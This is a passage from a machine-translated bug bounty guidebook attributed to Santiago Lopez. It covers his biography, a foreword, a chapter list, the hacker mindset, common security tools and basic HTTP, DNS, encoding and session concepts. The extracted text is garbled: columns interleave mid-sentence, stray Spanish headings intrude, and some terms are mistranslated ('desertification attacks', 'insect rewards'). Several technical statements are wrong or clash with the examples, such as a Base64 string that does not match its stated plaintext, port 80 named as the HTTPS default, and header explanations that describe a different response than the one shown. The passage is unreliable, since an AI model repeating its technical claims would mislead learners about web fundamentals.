SANTIAGO LOPEZ

MILLI O N A I R E
R ECORDS
BU G B OU N T Y
CHA NG E S Y OU R LI F E
AB O UT T HE A U THO R I hope my story motivates you to explore the world of bug bounty
and discover the hacker in you - you never know where your
Hi, I'm Santiago Lopez, an Argentinean hacker who, at the passion might take you!!
age of 19, achieved something that seemed impossible: to earn
a million dollars by finding and reporting software vulnerabili-
ties. It may sound like a Hollywood movie, but it is my reality.

My story began in my parents' humble basement, where an

old computer and an unstable internet connection became my
gateway to a fascinating world: the world of hacking. From a young
age, I was drawn to technology and the challenges it presented.
I would take apart electronics just to see how they worked and
spend hours reading about programming and computer security.

When I was 16, I discovered the concept of "bug

bounties," programs in which companies reward hackers
who find vulnerabilities in their systems. I thought it was
an amazing idea: I could use my skills to help improve
internet security and earn money at the same time!

I started participating in bug bounty platforms, such as

HackerOne, and soon discovered that I had a natural talent for
finding vulnerabilities. I spent hours analyzing code, looking for
patterns and trying different hacking techniques. It wasn't easy,
there were many moments of frustration and sleepless nights,
but the thrill of finding a critical bug and the satisfaction of
knowing that I was helping to protect people kept me motivated.

Eventually, my efforts began to pay off. I found vulnerabili-

ties in big-name companies like Verizon, Twitter and Automattic
(the company behind WordPress). The rewards kept piling up, and
in 2019, I reached the historic milestone of $1 million in earnings.

This achievement not only changed my life financially, but

also opened doors to a world of opportunities. I've traveled the
world, spoken at IT security events, and met amazing people
who share my passion for technology and security.

Today, I still work as a white hat hacker, finding and reporting

vulnerabilities to help companies protect their systems and their
users. But I also want to share my experience and knowledge with
others. That's why I wrote this book, to inspire other young peo-
ple to follow their passions and prove that, with dedication and
perseverance, they can achieve anything they set their minds to.

2 MILLIONAIRE RECORDS
F OR EW O R D
When I met Santiago Lopez, I was impressed by his pas-
sion for computer security and his innate ability to find vul-
nerabilities in software. But what really surprised me was his
story: a young man from humble beginnings who, through his
talent and dedication, managed to become a millionaire hacker.

Santiago is an inspiring example of how curiosity, per-

severance and the desire to learn can open doors you never
imagined. His story proves that you don't need a college
degree or years of experience to succeed in the world of
cybersecurity. What you do need is an inquisitive mind,
an unwavering will and the ability to think outside the box.

In this book, Santiago shares his journey from his

parents' basement to the top of the bug bounty world. He
takes us through the ups and downs of his career, sha-
ring his experiences, his lessons learned and his practi-
cal advice for those who want to follow in his footsteps.

But this book is much more than just a technical guide.

It is an invitation to explore the mindset of a hacker, to see
the digital world with new eyes and to discover the poten-
tial hidden in every line of code. Santiago shows us that
hacking is not just a skill, but a way of thinking, a way of life.

Whether you are a student, an IT professional or just

someone curious about the world of cybersecurity, this
book will captivate and inspire you. Santiago will guide you
through the fundamental concepts of bug bounty, teach
you the most effective tools and techniques, and show
you how to turn your passion into a successful career.

Get ready to embark on an exciting journey through the

world of hacking from one of the most talented and successful
hackers of our time, open this book and discover the hacker in you!

Maurice Flores, CEO of TheCute LLC

 3
4 MILLIONAIRE RECORDS
INTRODUCTION
 Get ready to dive into the exciting
world of bug bounty, where ethical hackers
become millionaires.

In this book, I will guide you through the basics of cyber-

security and reveal the techniques and strategies that allowed
me to earn more than a million dollars by finding and reporting
software vulnerabilities.

Together, we will explore different types of web vulne-

rabilities, from the most common ones, such as SQL injection
and Cross-Site Scripting (XSS), to the most advanced ones, like
exploit chains and desertification attacks. You will learn to iden-
tify them, exploit them and, most importantly, prevent them.

I will teach you how to use the essential tools and techni-
ques of ethical hacking, from vulnerability scanners to manual
exploitation techniques. You will learn how to analyze source
code, perform penetration tests, and use debugging tools to
find and fix security errors.

But this book is not just about techniques and tools. We’ll
also explore a hacker’s mindset, that insatiable curiosity and that
passion for troubleshooting that drives us to look for vulnera-
bilities where others don’t see them. You will learn to think like
an attacker, anticipate his moves and build stronger defenses.

In addition, I will guide you through the world of bug bounty

programs, where you can put your skills into practice and earn
rewards for finding vulnerabilities. I’ll show you how to find
programs that suit your level of experience, how to communi-
cate effectively with and how to build a successful career as a
reward hunter.

Whether you’re a curious beginner or an experienced IT

security professional, this book will provide you with the tools
and knowledge you need to become a bug bounty expert. Get
ready to embark on an exciting adventure and discover the
hacker you carry inside!

6 MILLIONAIRE RECORDS
F OR W H O M I S T HI S This book is written thinking about you, who are curious
about the world of cybersecurity but have no prior experience.

B OOK? Maybe you’ve heard about the bug bounty and you’re intrigued by
the idea of making money by finding software vulnerabilities, but
you don’t know where to start. Or maybe you're a tech enthusiast
looking for a way to use your skills to generate online revenue.

If you identify with any of these situations, this book is

for you!

You don't need to be an IT expert to get started on the bug

bounty. In fact, I myself started without any university degrees
or work experience in the field. All you need is curiosity, a desire
to learn and perseverance.

In this book, I will guide you step by step through the fun-
damentals of bug bounty, from the basics of web security to the
most advanced techniques of ethical hacking. I will teach you
how to find vulnerabilities, how to report them responsibly and
how to maximize your profits.

It doesn’t matter if you’re a student, an employee or just

someone looking for a new opportunity. The bug bounty is a fle-
xible activity that you can do from anywhere in the world and
at your own time.

With this book, you will discover that bug bounty is not only
a way to make money, but also a way of learning, growing and
making a difference in the digital world. I'll show you how to turn
your passion for technology into an exciting and lucrative career.

So, if you're ready to embark on this adventure, open this

book and discover the hacker you carry inside!

WHAT WILL YOU FIND IN THIS BOOK?

YOU WILL DISCOVER A COMPLETE GUIDE TO BECOMING A SUCCESSFUL BUG REWARD
HUNTER.

I ntroduction 7
WH AT W I L L Y O U FI ND IN This book will guide you through an exciting journey through
the world of bug bounty, from the basics to the most advan-

THI S B O O K ? ced techniques, so you can turn your passion for techno-
logy into a lucrative and rewarding career.

Part I: Bug Bounty Fundamentals

• Chapter 1: Introduction: Discover the story of

Santiago López, the millionaire hacker, and how the
bug bounty can change your life. Learn what bug bounty
is and why it is a unique opportunity to make money
doing what you love.
• Chapter 2: Hacker Mentality: Immerse yourself in
a hacker's mind and learn to think creatively and find
vulnerabilities that others overlook. Develop the cri-
tical thinking and problem-solving skills that will turn
you into a successful reward hunter.
• Chapter 3: Essential Tools and Techniques: Get
acquainted with the most important tools and techni-
ques used by reward hunters, from vulnerability scan-
ners to manual exploitation techniques. Learn how to
use them effectively to find and report vulnerabilities.

Part II: Web Vulnerabilities

• Chapter 4: SQL Injection: Learn how attackers can

inject malicious SQL code into a web application and
how to protect yourself against this type of attack.
• Chapter 5: Cross-Site Scripting (XSS): Explore the
different types of XSS (reflected, stored, and DOM-
based) and learn how to prevent them. Learn how
attackers can use XSS to steal data or take control of
user accounts.
• Chapter 6: Open Redirects: Learn to identify diffe-
rent types of Open Redirects, from the simplest to the
most sophisticated, and discover how attackers can
hide their intentions behind seemingly harmless links.
• Chapter 7: Clickjacking: The art of deceiving your
clicks. You will learn how attackers manipulate web
interfaces to get you to click where they want, and
how you can protect yourself from this invisible threat.
• Chapter 8: Cross-Site Request Forgery (CSRF): Learn
how attackers can trick users into performing unwan-
ted actions in a web application and how to protect
yourself against CSRF.
FE LIZ HA CK ING ! • Chapter 9: IDOR: The negligence that can cost expen-
ENCONTRARÁS UN MENSAJE FINAL DE ALIENTO Y MOTIVACIÓN PARA EMBARCARTE EN TU sive. You will learn how hackers take advantage of
AVENTURA EN EL MUNDO DEL BUG BOUNTY.
data access errors to see information they should
not, and how to prevent this from happening in your

8 MILLIONAIRE RECORDS
 applications. • Chapter 20: SSO: a master key with hidden risks. You
• Chapter 10: Race Conditions: When speed becomes will learn how hackers can exploit vulnerabilities in
a problem. You will learn how hackers exploit time and single login to access multiple accounts and data, and
synchronization to damage applications, and how to how to protect your systems from this threat.
design your systems to prevent these attacks. • Chapter 21: Information Disclosure: The Secrets
• Chapter 11: SSRF: The server as involuntary accom- Revealed. You will learn how hackers uncover sensitive
plice. You will learn how hackers manipulate server information that should not be public, from user data
requests to access internal or external resources, and to technical details of the application, and how to pre-
how to shield your applications against this type of vent your systems from filtering valuable information.
attack.
• Chapter 12: Insecure Deserialization: The resurgence Part III: Beyond Technic
of malicious objects. You will learn how hackers mani-
pulate serialized data to run unauthorized code on • Chapter 22: Bug Bounty Programs: Immerse yourself
your server, and how to protect your applications from in the world of bug bounty programs and learn how
this threat. to find and participate in them. Discover tips and tri-
• Chapter 13: XXE: The back door in your XML files. cks to maximize your earnings and build a successful
You will learn how hackers exploit XML processing to career as a reward hunter.
access files and system resources, and how to secure • Chapter 23: Responsible Communication and
your applications against this type of attack. Disclosure: Learn to report vulnerabilities responsibly
• Chapter 14: Template Injection: When templates to companies and how to work with them to solve pro-
become weapons. You will learn how hackers mani- blems. Discover the importance of responsible disclo-
pulate web templates to run malicious code on your sure and how it can benefit both hackers and.
server, and how to protect your applications from this • Chapter 24: Building a Bug Bounty Career: Get prac-
dangerous vulnerability. tical tips from Santiago López on how to turn your pas-
• Chapter 15: Application Logic Errors: The software sion for security into a successful career. Learn how
works, but not as it should. You will learn to identify to develop your skills, build your reputation and find
hidden bugs in the logic of applications that can be opportunities in the job market.
exploited by attackers, and how to design more secure • Chapter 25: The Future of Bug Bounty: Explore
and robust software. emerging trends in the world of bug bounty and dis-
• Chapter 16: Broken Access Control (BAC): When doors cover how you can prepare for the future of this exci-
are opened in pairs. You will learn how attackers take ting industry.
advantage of access control bugs to access sensitive
information or perform unauthorized actions, and how Part IV: Hands to work
to secure your apps to avoid it.
• Chapter 17: Directory Traversal: Escaping Directory • Chapter 26: Choosing a Bug Bounty Program: You
Prison. You will learn how hackers move freely through will learn how to select the bug bounty programs that
your server’s file system, accessing sensitive informa- best suit your skills, goals and preferences, maximizing
tion, and how to prevent them from escaping permi- your chances of success and reward.
tted limits. • Chapter 27: History of Industry: You will learn about
• Chapter 18: RCE: Remote control of your server. You the evolution of this practice from its beginnings to
will learn how hackers take full control of your server, the present. You will learn how the early error reward
running their own code to steal data or cause damage, programs laid the foundations for today’s industry,
and how to protect you from this critical threat. and how it has grown and professionalized over time.
• Chapter 19: Same-Origin Policy Bugs: when web bou- • Chapter 28: Asset types: You will be able to understand
ndaries are blurred. You will learn how hackers bypass the different types of systems, applications and plat-
security restrictions between websites to steal data or forms that become targets of error reward programs.
undertake unauthorized actions, and how to streng- • Chapter 29: Platforms: You will learn about the major
then your defenses to keep your data safe. platforms that connect security researchers with
companies seeking to identify security issues in their

I ntroduction 9
 systems.
• Chapter 30: Scope, Payments and Response Times:
You will learn how to interpret the terms and condi-
tions of failure reward programs, what vulnerabilities
qualify for reward, how payments are made, and how
long you can wait in response to your reports.
• Chapter 31: Private programs: You will learn about
bug bounty programs that are not open to the gene-
ral public, but are exclusive to a selected group of
security researchers.
• Chapter 32: The right program: You will learn to define
your goals and preferences as a bug bounty researcher,
and to use that information to select the programs that
best align with them.
• Chapter 33: A Good Report: You will learn to communi-
cate your findings in a clear, concise and effective way.
• Chapter 34: Build a relationship: You will learn how to
build strong and lasting relationships with companies
that offer bug bounty programs.
• Chapter 35: Why are you failing?: You will learn to iden-
tify and overcome the most common obstacles facing
bug bounty researchers. Discover how to analyze your
own errors, learn from them, and improve your vulne-
rability search and reporting strategies.
• Chapter 36: What to do when you're stuck?: You will
learn how to overcome creative and technical blocks
that may arise during the search for vulnerabilities

With this book, you will have all the tools you need to
become a bug bounty expert and start making money by pro-
tecting and users from cybercriminals. Prepare for an exciting
and challenging adventure!

10 MILLIONAIRE RECORDS
I ntroduction 11
H AP P Y HA C K I NG !
Now that you have in your hands the tools and knowle-
dge that led me to earn a million dollars, it's your turn to go out
into the world and leave your mark in the bug bounty universe.

If you commit to learning, practicing and applying the stra-

tegies I have shared with you, I assure you that the chances of
transforming your life and achieving financial success are enor-
mous. Bug bounty is a growing industry, and are willing to pay
generously to protect their systems.

But remember, power entails a great deal of responsibility.

The knowledge you have acquired in this book can be used for
good or for evil. I urge you to use your skills ethically and res-
ponsibly, always respecting the privacy and safety of others.

The bug bounty is a community of people passionate about

technology and security. Join forums, participate in events and
share your knowledge with others. Together, we can make the
Internet a safer place for everyone.

So go ahead, get out there and start your adventure! I'm

sure you'll great things.

Important reminder: The content of this book is intended

solely for educational and research purposes. The misuse of the
information presented here is illegal and may have serious legal
consequences. Hake responsibly!

12 MILLIONAIRE RECORDS
I ntroduction 13
 C H A P T E R O N E

BUG BOUNTY'S
FUNDAMENTALS
1
SA N T I 'S P ATH My Way to the Million Dollars (and How You Can Do The Same)

Hi, I'm Santiago López, and they call me the "millionaire

hacker." Not because I stole a bank (that would be illegal!), but
because I earned more than a million dollars by finding and
reporting software vulnerabilities through bug bounty programs.

At the age of 19, I achieved a historic achievement: I became

the world's first millionaire hacker. This milestone not only marked
a highlight in my personal career, but also highlighted the impor-
tance of bug bounty as a key tool for cybersecurity.

Does that sound too good to be true? Believe me, I know

it looks like it. When I started in this world, I was a curious tee-
nager with an old computer and a slow internet connection. I
never imagined that my passion for technology and troubleshoo-
ting would lead me to travel around the world, meet amazing
people and, yes, make a fortune.

But here I am, and I want to share my story with you. I want
to show you that bug bounty is not just a way to make a living,
but an exciting adventure that allows you to use your skills to
make the digital world a safer place.

In this book, I'll take you by hand through my journey. I'll

tell you how I discovered the bug bounty, how I learned the tools
and techniques needed to find vulnerabilities, and how I over-
came the challenges and obstacles I encountered along the way.

But this is not just an autobiography. My goal is to give you

the tools and knowledge you need to follow in my footsteps.
I'll teach you how to think like a hacker, how to find vulnerabili-
ties that others overlook, and how to effectively communicate
your findings to.

Whether you are a student, a computer professional or just

a technology enthusiast, this book is for you. If you have curio-
sity, perseverance and a passion for troubleshooting, you can
become a successful reward hunter.

Are you ready to embark on this adventure with me? ¡We

move to the next page!

I still remember how I found my first bug. At that time, I

spent a lot of time trying to hack small that didn’t offer a reward
MENTAL ID A D D EL H A CK ER M I L L O N AR I O in their software. My first target was Ebay; this company was
DESCUBRIRÁS LAS CLAVES PARA DESARROLLAR UNA MENTALIDAD ENFOCADA EN EL launching its new bug reward program and allowed it to report
CRECIMIENTO, LA PERSEVERANCIA Y LA RESOLUCIÓN CREATIVA DE PROBLEMAS.
vulnerabilities by email. You would not receive a reward, but you
would be presented with a "thank you" page once you report

18 MILLIONAIRE RECORDS
a valid error. As you read these chapters, I encourage you to approach
the material with an open mind and a willingness to learn. The
My first error was a very simple CSRF that allowed you to world of insect rewards is dynamic and always evolving, offering
edit your Ebay account information through a link. As I said, I did endless opportunities for those willing to take advantage of them.
not receive any rewards, but I had the opportunity to show my
parents my achievement. Which I love to this day. Thank you for joining me on this journey. I hope this book
will not only equip you with the skills to succeed in bug rewards,
Welcome to my world. My main goal today is to show you but also inspire you to pursue your passions and realize your full
how I, Santiago Lopez, transformed my passion for technology potential. We climb into the exciting world of ethical hacking
and cybersecurity into an extraordinary journey that led to ear- and discover how you too can turn your skills into meaningful
ning over a million dollars at the age of 19. achievements.

As someone who started from a humble start, my goal with

this book is to demystify the process of rewarding mistakes
and share the strategies, techniques and mentality that helped
me success. Whether you’re a newcomer curious about ethical
hacking or an experienced professional looking to perfect your
skills, this book provides valuable insights and practical tips to
guide you along your path.

On the following pages, you will find a comprehensive

guide that covers everything from the basics of error rewards to
advanced techniques for identifying and reporting vulnerabili-
ties. I will guide you through the essential tools, methodologies
and platforms that have been crucial to my success. In addition,
I will share anecdotes and personal experiences that highlight
the challenges and triumphs I have faced along the way.

One of the unique aspects of this book is its emphasis on

the holistic approach to becoming a successful ethical hacker.
It’s not just about technical skills; it’s also about developing the
right mindset, building effective habits, and understanding the
motivations that drive true success. I believe that anyone, regar-
dless of their origin or their starting point, can extraordinary
results with the right direction and determination.

This book is divided into several modules, each designed

to build on the previous one, ensuring a structured and com-
prehensive learning experience. You will learn how to browse
error reward platforms like HackerOne, master the art of vulne-
rability hunting, and understand the nuances of reporting errors
effectively. At the end of this book, you will have the knowledge
and confidence to embark on your own journey into the insect
reward ecosystem.

bug bounty ' s F undamentals 19

MIL LI ON A R I E HA C K E R You're not born a hacker, you're done. It is not a question
of having an intellectual coefficient of genius, but of cultivating

ME N TAL I T Y a particular way of thinking, a mindset that questions, explores,

and seeks creative solutions to complex problems. In this chap-
ter, I’ll invite you to immerse yourself in a hacker’s mind, see the
digital world through a different lens, and discover how this uni-
que perspective can turn you into a successful reward hunter.

What's the Hacker Mentality?

The hacker mindset is not about breaking things for fun or

causing harm. It's about curiosity, ingenuity, and an inexhausti-
ble passion for understanding how things work. Hackers see the
world as a giant puzzle, full of secrets to discover and challen-
ges to overcome.

This mentality is based on several key principles:

• Insatiable Curiosity: Hackers have an insatiable thirst

for knowledge. They want to understand how things
work, why they work that way, and how they could
work otherwise. This curiosity drives them to cons-
tantly explore, experience and learn.

• Lateral Thinking: Hackers are not limited to following

established rules. They look for creative and unusual
solutions to problems. They are not afraid to question
the status quo and propose new ideas.

• Persistence: Hackers don't give up easily. When they

face a challenge, they keep trying until they find a solu-
tion. They understand that failure is part of the lear-
ning process and use it as an opportunity to improve.

• Open Mentality: Hackers are open to new ideas and

perspectives. They do not stick to their own beliefs and
are willing to change their minds if convincing evidence
is presented to them.

• Collaboration: Hackers believe in the power of the

community. They share their knowledge and experience
with others, and learn from others. They understand
that together they can more than alone.

HE RRA M IENTAS Y T ÉCNICAS E S E N C I AL E S

DESCUBRIRÁS LAS HERRAMIENTAS Y METODOLOGÍAS FUNDAMENTALES QUE UTILIZAN
LOS EXPERTOS EN BUG BOUNTY PARA ENCONTRAR VULNERABILIDADES DE MANERA
EFICIENTE.

20 MILLIONAIRE RECORDS
 How to Develop a Hacker Mentality

Developing a hacker mindset is not something that happens

overnight. It requires time, effort and dedication. But with prac-
tice, you can train your mind to think like a hacker. Here are some
tips to get started:

• Question everything: Don't accept things as they

are. Ask yourself why things work in a certain way and
if they could work otherwise.
• Experiment: Don’t be afraid to try new things and
experiment with different approaches. Trial and error
is an important part of the learning process.
• Learn from others: Join online hacking communities,
attend conferences and workshops, and read books
and articles about cybersecurity.
• Share your knowledge: Help other hackers and learn
from their experiences.
• Don't give up: Persistence is key. Don't be discoura-
ged by failures, learn from them and move on.

The Hacker Mentality on Bug Bounty

The hacker mindset is essential for success in the bug

bounty. It allows you to view web applications and systems
from an attacker's perspective, identify vulnerabilities that others
overlook, and develop creative exploits.

By adopting this mindset, you will become a valuable asset

for any bug bounty program. You can help improve the security
of their products and services, protect users from cybercriminals
and, of course, earn significant rewards for your efforts.

The hacker mindset is a powerful tool that can open the

doors to a world of opportunities. Whether you want to become
a professional reward hunter, improve your cybersecurity skills,
or simply better understand how the digital world works, cul-
tivating this mentality will give you an invaluable advantage.

So, are you ready to start thinking like a hacker? The jour-
ney begins now!

bug bounty ' s F undamentals 21

ES S EN T I A L T O O L S A ND A good hacker is like a detective: he needs the right tools
to solve the case. In the world of bug bounty, these tools range

TE CH N I Q U E S from sophisticated automated scanners to the most refined

manual skills. In this chapter, I will introduce you to the essen-
tial arsenal that every reward hunter must master to successfully
find and exploit vulnerabilities.

Vulnerability Scanners

Vulnerability scanners are automated tools that analyze web

applications and systems for potential vulnerabilities. They're like
digital bugs that smell code in search of patterns that indicate
the presence of known vulnerabilities.

Some of the most popular and effective scanners include:

• Burp Suite: A complete set of tools to test the security

of web applications. It includes an interceptor proxy,
a vulnerability scanner, a request repeater and many
other useful tools.
• OWASP ZAP: An open source vulnerability scan-
ner specifically designed to find security issues in web
applications.
• Nessus: A network vulnerability scanner that can
identify a wide range of vulnerabilities in systems and
applications.
• Nikto: An open source web vulnerability scanner
that searches for a variety of common issues, such as
configuration errors, default files and directories, and
known vulnerabilities.

While vulnerability scanners are a valuable tool, it is impor-

tant to remember that they are not infallible. More subtle or com-
plex vulnerabilities can be overlooked, so it is crucial to comple-
ment their use with manual testing.

Manual Exploitation Techniques: The Art of Hacking

Manual exploitation techniques are the true heart of hacking.

They involve using technical skills and knowledge to manipulate
a web application or system and exploit its vulnerabilities.

Some of the most common techniques include:

• Code Injection: Code injection is a technique in

C ÓMO FU NCIO NA INT ER NET which an attacker inserts malicious code into a web
APRENDERÁS LOS FUNDAMENTOS BÁSICOS DE LA RED GLOBAL, DESDE LOS PROTOCOLOS application, which is then run by the application. There
DE COMUNICACIÓN HASTA LA ESTRUCTURA DE DIRECCIONES IP Y DOMINIOS.
are different types of injection of code, such as SQL,
command, and template injections.

22 MILLIONAIRE RECORDS
 • Fuzzing:Fuzzing is a technique that consists of sen-
ding random or unexpected data to an application to
see how it reacts. If the application gets locked or beha-
ves unexpectedly, it can be a sign of a vulnerability.
• Social Engineering: Social engineering is the art of
manipulating people to disclose confidential informa-
tion or take actions that benefit the attacker. In the
context of bug bounty, social engineering can be used
to gain access to restricted systems or to collect infor-
mation about vulnerabilities.
• Source Code Analysis: Source code analysis invol-
ves examining the code of an application to identify
vulnerabilities. This technique requires a deep knowle-
dge of programming languages and security practices.

Other Essential Tools

In addition to vulnerability scanners and manual exploita-

tion techniques, there are other tools that every reward hunter
should have in his arsenal:

• Proxy Interceptor: A proxy interceptor, such as

Burp Suite, allows you to intercept and modify traf-
fic between your browser and the web server. This
is useful for analysing HTTP requests and responses,
modifying parameters, and testing different payloads.
• Web scanner: A web scanner, such as the Chrome
or Firefox development tools, allows you to examine
the HTML, CSS, and JavaScript code of a web page, as
well as network requests and responses. This is useful
to identify client-side vulnerabilities, such as Cross-
Site Scripting (XSS).
• Command Line Tools: Command line tools, such as curl,
wget, and nmap, are essential for conducting security
testing from the terminal.
• Virtual Machine: A virtual machine allows you to
create an isolated environment to test web applications
and systems without compromising your main system.

bug bounty ' s F undamentals 23

24 MILLIONAIRE RECORDS
1. 1 - H O W I NT E R NE T
WOR KS # 1 . 1 web pages. Applications can request data from other systems
through web APIs. This enables applications to communicate
with each other and exchange resources and data in a mana-
Let's take a moment to learn how the Internet works before ged way. Through Twitter APIs, for example, other websites can
we go hunting bugs. Exploiting the weaknesses of this techno- send requests to Twitter servers to receive information such as
logy is at the heart of searching for web vulnerabilities, so expe- lists of tweets that are public and the people who have written
rienced hackers should be well versed in it. You can proceed with them. Beyond this, many other features of the Internet are fed
my explanation of Internet security safeguards if you are already by APIs; we will talk about them and their security issues.
familiar with these procedures.
A good starting point is to wonder what happens in your Domain Name System
browser when you type www.google.com. In other words, how
does your browser determine how to navigate from a domain How do other browsers and yours know where to look for
name like google.com to the desired web page? Let's investigate it. these resources? Each device connected to the Internet has
its own Internet Protocol (IP) address that other devices can
Client-Server Model use to locate it. However, IP addresses are composed of cha-
racters and numbers that are difficult to remember. The IPv4
Clients and servers are the two types of equipment that address format, for example, is older and has this appearance
make up the Internet. Resources and services are requested by 164.72.240.213. IPv6, the latest version, seems rather more
customers and supplied by servers. Your browser works like a intricate: fd2f:0c63:bc9c::/48.
client that requests a web page to a web server when you visit a
web site. The browser then receives the web page of the server. The Domain Name System (DNS) is useful in this situation.
Converting domain names to IP addresses,

A web page is a set of files or resources uploaded by the

web server. For example, the server will send to your browser at
least a text file written in HTML (Hypertext Markup Language),
which tells your browser what to display. The DNS server acts as the Internet equivalent of a phone
book.
To enhance its appearance, most web pages now incorpo-
rate cascading style sheets (CSS). Web pages can also include
JavaScript (JS) files, which allow websites to respond to user
entries and animate the page without the need for a server.
JavaScript, for example, can evaluate user entries on the client
side before transmitting them to the server and resize images
as users move around the page.

Last but not least, embedded features, such as images and

videos, can appear in your browser. The web page you are viewing
is the result of the combination of these features in your browser.
Servers offer users more than just giving them access to

bug bounty ' s F undamentals 25

 Internet ports

Your browser will try to establish a port-based connection

to the IP address once you have determined the appropriate
address. On devices, a port is a logical division that designates This is an example of a GET request that consults the goo-
a specific network service. Port numbers, which can range from gle.com home page on the server.
0 to 65,535, are used to identify ports.
-----------------------------------------------------------
Ports can be used by a server to provide multiple services GET / HTTP/1.1
to the Internet simultaneously. Port numbers also allow the ser- Host: www.google.com
ver to effectively transfer incoming messages from the Internet User-Agent: Mozilla/5.0
to the appropriate service for their processing, as there are pro- Accept: text/html, application/xhtml+xml, application/xml
tocols for the traffic received in specific ports. For example, the Accept-Language: en-US
web server recognizes that a client connecting to port 80 wants Accept-Encoding: gzip, deflate
to access its web services. Connection: close
-----------------------------------------------------------

Since you will encounter many of these requests throughout

this book, we will review its format. Each HTTP request con-
sists of a request line, request headers and an optional request
body. The request line and headers are all that is present in the
previous example.

The first line of a HTTP request is known as the request

line. Details the requested URL, the HTTP version used and the
request method. Here it can be noted that the client is using
HTTP version 1.1 to send a GET request to the homepage www.
google.com.

For HTTPS, the encrypted version of HTTP, we use port The headers of the HTTP request make up the remaining
443, while by default port 80 is used for HTTPs. lines. They are used to provide the server with more details about
the request. This allows the server to customize the client's
Requests and answers HTTP results. The request's host name is specified in the Host header
in the previous example. The operating system and version of
Once the connection is established, the browser and the ser- the requesting software, including the user's web browser, are
ver use the Hypertext Transfer Protocol (HTTP) to communicate. listed in the User-Agent header. The Accept, Accept-Language,
HTTP is a set of guidelines that describe the format and meaning and Accepts-Encoding headers inform the server of the format
of messages sent over the Internet, as well as the information of the replies. In addition, the Connection header tells the ser-
exchange protocols that web servers and clients should follow. ver whether or not to maintain the network connection once
the server has responded.
The browser sends a HTTP request to a server whenever
you want to communicate with it. The two most popular forms Some more standard headers may appear in requests.
of HTTP requests are GET and POST, although there are also Cookies are sent from the client to the server through the
other varieties. POST requests send data to the server, while Cookie header. The address of the previous web page that you
GET requests usually receive data from it. Other popular HTTP linked to the current page is specified in the Reference header.
methods are PUT, which is used for updating resources, DELETE, Additionally, credentials for user authentication on a server are
that is used to remove resources, and OPTIONS, which are used included in the Authorization header. The server will attempt to
to request permitted HTTPS methods for a specific URL. satisfy the request as soon as it is received. Through HTTP res-
ponses, the server will return all the resources needed to create

26 MILLIONAIRE RECORDS
your web page. A HTTP response has several components: the
body of the HTTPS response, which is the actual web content
you have requested; a HTTPs status code to show whether the
request has been performed correctly; and HTTS headers, which be redirected is indicated in the Location header. The sources
are the 37 bits of authentication information, content format, to which access to the content of the page is allowed are indi-
and security policies that browsers and servers use to commu- cated in the Access-Control-Allow-Origin header.
nicate with each other. The content of the website may consist
of graphics, JavaScript code, CSS style sheets, HTML code, etc. The X-Frame-Options header indicates whether the page
can be loaded within an iframe, while Content-Security-Policy
Here is an example of HTTP response: regulates the source of the resources that the browser can load.
The body of the answer is the data that follows the blank
HTTP/1.1 200 OK line. Includes the HTML and JavaScript code that shapes the
Date: Mon, 27 Jul 2009 12:28:53 GMT actual content of the page. Your browser will render it all for
Server: Apache/2.2.14 (Win32) you once you have all the data needed to create the web page.
Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT
Content-Length: 88 Internet security checks
Content-Type: text/html
Connection: Closed After you have acquired a general understanding of how
information is shared online, we will discuss some essential
<html> <body> <h1>Hello, World!</h1> </body > </html> security measures that keep hackers out. First you need to
understand how these controls work because finding errors
Check the message 200 OK of the line often requires you to design inventive ways around them.

A valid request is indicated by a HTTP status code in range Content Encoding

200. A status code in range 300 denotes a page redirection. A
state code in the range 300 denotes a page redirection, while a It is not always the case that data sent through HTTP
code at the range 400 denotes an error from the client, such as requests and responses are sent as simple text. Websites often
a request from a page that does not exist. The range 500 indi- use various encryption techniques to protect their messages
cates an error that has occurred on the server. from data corruption.
As a bug hunter, you should always keep an eye on these
status codes, as they provide valuable information about server Binary data can be successfully transferred between machi-
functionality. A 403 status code, for example, indicates that you nes with different levels of support for different types of content
are not allowed to use the resource. Esto podría implicar que, si through data encoding. Common characters that are not used
puedes superar los límites de acceso, hay información sensible as controlled characters in Internet protocols are used for enco-
enterrada en el sitio web. ding. So you can be sure that your data will reach your destina-
tion without damage when encoding information using standard
HTTP response headers are the following line of the answer, encryption algorithms. On the other hand, if you transfer your
divided by two points (:). They allow the server to provide the data in its original format, Internet protocols may misread specific
client with more information about the response. En este caso, characters in the message, which could cause data corruption.
es evidente que la respuesta se recibió el martes 31 de agosto Codification Base64 is one of the most common ways to
de 2021, a las 17:38:14 GMT 2. The body file type of the answer encode data. It is often used to carry images and encrypted
is specified by the Content-Type header. In this case, the con- information within web messages. This is the base64 encoded
tent type of the page is text/html 3. Google Web Server (gws) version of the "Content Encoding" string
4 es la versión del servidor, y 190.532 bytes es la longitud del
contenido 5. The format, language and security restrictions of ------------
the material are usually specified in additional response headers. VEhJUyBJUyBBIFRFU1Q=
In addition to these, you may encounter some other typi- ------------
cal response heads. To set a cookie, the server sends the Set-
Cookie header to the client. The URL to which the page should

bug bounty ' s F undamentals 27

 The character set used in Base64 encoding consists of the
following: the characters A to Z in the main alphabet, the charac-
ters a to z in the lower alphabet, the numbers 0 to 9, the num-
bers + and /, and finally the = for padding. A modified variant of This is how the server recognizes you! The server will track
base64 called base64url encoding is used for URL formatting. the cookie created during the session and use it to verify your
Similar to base64, but without padding and using a different set identity. Ultimately, the server will disable the session cookie
of non-alphanumeric characters. when you log out, making it unusable.
The server will generate a new session and an accompanying
URL encoding session cookie for you the next time you connect.

URLs can only be sent over the Internet using the ASCII
character set. If a URL contains characters outside the ASCII
character set, the URL must be converted.

• URL encoding converts non-ASCII characters into a

format that can be transmitted over the Internet.

• The URL encoding replaces non-ASCII characters with

a "%" followed by hexadecimal digits.

• URLs cannot contain spaces. URL encoding normally

replaces a space with a plus sign (+), or %20.
URL-encoded equivalent using a URL calculator such as URL
Decode and Encode (https://www.urlencoder.org/).
Token-based authentication
HTTP cookies and session management
Token-based authentication is a security method used to
Why is it that every time you close the email tab, you don't verify a user's identity on websites, applications and APIs. It
need to log in again? It is because your session is remembered works like a digital key that grants access after a login. Here is
by the website. By using session management, the server can a breakdown:
respond to multiple requests from the same user without having
to log in again. Process:

Each user accessing a web site creates and maintains a ses- • Login: Enter your username and password on a web-
sion, and this process is initiated when you log in. Your browser site or application.
will receive an associated session ID from the server, which acts • Verification: The system verifies your credentials and,
as identification documentation. if correct, generates a unique token (a digital code).
• Granting access: The token is sent back to your device
Usually, the session ID is a long random string that is diffi- (computer, phone, etc.).
cult to find out. The server logs you out and deletes the session • Subsequent access: When you return to the same
ID when you exit. website or application, you do not have to re-enter
your password. Instead, your device sends the token
